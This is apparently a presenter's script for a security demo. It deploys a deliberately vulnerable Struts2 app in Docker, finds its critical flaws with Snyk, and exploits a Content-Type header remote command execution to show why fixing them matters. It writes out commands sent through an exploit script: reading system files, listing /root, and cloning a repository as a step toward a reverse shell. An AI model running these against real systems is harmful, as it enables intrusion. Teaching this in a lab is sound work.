RCE Attack

 

Prerequisites

1. Open a terminal screen and execute the following

   1gotty -w --port 9090 tmux new -s struts2

2. Open a browser and goto http://localhost:9090

3. In the browser hold down the control key while you tap the b key, then release the control key, then hit the % key (shift-5) to split the screen vertically

   1. It should result in two screens

   2. To switch back and forth - In the browser hold down the control key while you tap the b key, then release the control key, then hit the left or right arrow | key to switch to the other terminal

      

4. Open a tab in the browser and goto http://localhost:8080

   1. cd struts2-rce 3

   2. ./mvnw clean package

   3. docker build -t hackme \.

   4. docker run -d -p 8080:8080 hackme

5. Open a tab in the browser and go to Github - Sealmindset

6. Open a tab in the browser and go to Snyk - Sealmindset

7. Share your browser with your audience starting at the tab to Struts2 - Order

To switch back and forth - In the browser hold down the control key while you tap the b key, then release the control key, then hit the left or right arrow | key to switch to the other terminal

If you want to split the screen horizontally, its the quotation mark “ key (shift-')

Demo

For this demo, I have Docker Desktop running a simple application in a container on port 8080.

(In the browser go to the tab with http://localhost:8080)

Here is a very simple application built in Struts.

(Click on the different parts of the application to demo that it’s a working functional application - Delete a Client, and create a new order.)

Docker Application

(Switch to the tab running GoTTY - http://localhost:9090)

Now let’s open up a docker terminal to show you what OS we’re running, what am I running as, what directory I am in and today’s date and time.

(Identify the Container ID)

1docker ps

(Copy the Container ID into the Clipboard)

(Execute the following in the terminal using the Container ID)

1docker exec -it f123585c4908c /bin/sh

(At the prompt enter the following cmds to show what operating system the container is running on, etc.)

1cat /etc/os-release 2whoami 3pwd 4date

(As verification that this is a running container)

[Ask if there is a typical command in linux that someone would like you to run.]

So, as you can see this is a working Apache Struts based application running on a Debian platform. Now we’re going run Snyk on the command line to look for any potential vulnerabilities.

(In the browser hold down the control key while you tap the b key, then release the control key, then hit the left or right arrow | key to switch to the other terminal)

Let’s look at what files are in the folder:

1cd ~/Documents/struts2-rce 2ls -la

Definitely some interesting files in here, but lets pretend the obvious (like exploit.py, etc.) isn’t there. What we do have is the image to the container and its build files. Let’s first test the Project Object Model (POM)

An XML file that contains information about the project and configuration details used by Maven to build the project.

This is the abbreviated version as there is plenty wrong with this Docker image.

1snyk test --file=pom.xml --severity-threshold=critical

(control-b then the open bracket [ key to scroll around (e.g., Up Arrow or PgDn). Press the q key to quit scroll mode.)

And as promise, we have remote command execution issues based on the package this application will be built with.

I’ve already built the container before the start of the demo and called it “hackme”, so let test that too.

1docker scan hackme

If asked -  Struts is a framework for building apps, and for building it as a Docker container there’s the pom.xml file. The Container doesn't know anything about what is configured in application's XML since the Container only deals with the ActionServlet.

(Show Snyk in the browser)

Let’s make this simpler to view and go right into Snyk to see what problems were found.

Code Repository - GitHub

We know that we say a problem with the pom.xml file, so let take a look at that.

From a hacker perspective, a couple of these look promising, but for the sake of time, we’ll go with the one we’ve already know will work.

I will be sending a payload to the application that will cause it to incorrectly handle the error message when inserted into the Content-Type header.

(Go to the terminal window in the browser)

Remember that file name exploit.py? We’re now going to use provide some information as if we’re only access this Container remotely.

1python exploit.py http://localhost:8080/orders/3 "date && pwd && whoami && cat /etc/os-release"

Let’s have some fun and try if we can change directories, etc.

1python exploit.py http://localhost:8080/orders/3 "cd /root/ && pwd && ls -la"

Let’s check if we can access the Internet

1python exploit.py http://localhost:8080/orders/3 "ping -c 1 8.8.8.8"

Next I would be trying to figure a way to setup a “reverse shell” like trying to upload a file. Let’s test that real quick.

1python exploit.py http://localhost:8080/orders/3 "git clone https://github.com/bridgecrewio/checkov-action.git" 2python exploit.py http://localhost:8080/orders/3 "cd checkov-action && pwd && ls -la"

Nice! As you can see if this Container made it into production, hackers would have field day.

We’ll maybe do a demo on of how we would setup a reverse shell for another day.

Recap

I’ve demonstrated that we can test our code for vulnerabilities.

We can exploit those vulnerabilities.

Now lets talk about fixing this vulnerability and verifying if they are still exploitable